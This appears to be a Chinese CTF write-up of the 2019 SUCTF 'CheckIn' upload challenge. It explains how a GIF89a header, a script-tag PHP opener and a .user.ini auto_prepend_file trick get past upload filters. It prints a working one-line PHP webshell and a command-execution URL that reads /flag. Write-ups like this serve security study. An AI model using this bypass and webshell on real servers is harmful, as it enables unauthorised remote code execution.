2019SUCTF—CheckIn

Posted by CoCo1er on 2019-09-11
Words 589 and Reading Time 2 Minutes
Viewed Times

2019SUCTF—CheckIn

尝试

文件上传题,随便传个图片发现回显

  • 第一个绕过点 <? , 绕过方法 \

上传一个txt,发现另一种回显

  • 第二个绕过点exif_imagetype()函数,添加图片文件头即可绕过,如:GIF89a

直接上传php显然是不行的,回显illegal suffix!,判断是个黑名单过滤,尝试fuzz其他php后缀发现也都被过滤了。

试试改解析,本来想尝试.htaccess(分布式配置文件),无奈题目环境是Nginx

解题思路

捋一下思路:

  1. 黑名单,php脚本无法绕过上传
  2. 存在文件头检查,这个构造图片文件的文件头可绕过
  3. <?被过滤,用script方式绕过(注意这个在php7不再支持)
  4. 考虑上传图片马,但是不被解析,这里用到了.user.ini

.user.ini

只要是CGI/FastCGI 运行的php都可以用这个方法。(Nginx采用FastCGI正好符合)

.user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

Php配置项中有两个比较有意思的项:

auto_append_fileauto_prepend_file

指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。类似于在index.php中插入一句:require(./01.gif);而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

1
auto_prepend_file=01.gif

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

利用

构造.user.ini

1
2
GIF89a
auto_prepend_file=a.jpg

构造a.jpg

1
2
GIF89a
<script language='php'>eval($_REQUEST[c]);</script>

上传后访问即可执行命令拿到flag

1
http://539c61e5-e2cf-4aed-bd40-c905213d5fb1.node1.buuoj.cn/uploads/fd40c7f4125a9b9ff1a4e75d293e3080/index.php?c=system(%27cat%20/flag%27);

参考p神的文章:http://www.vuln.cn/6001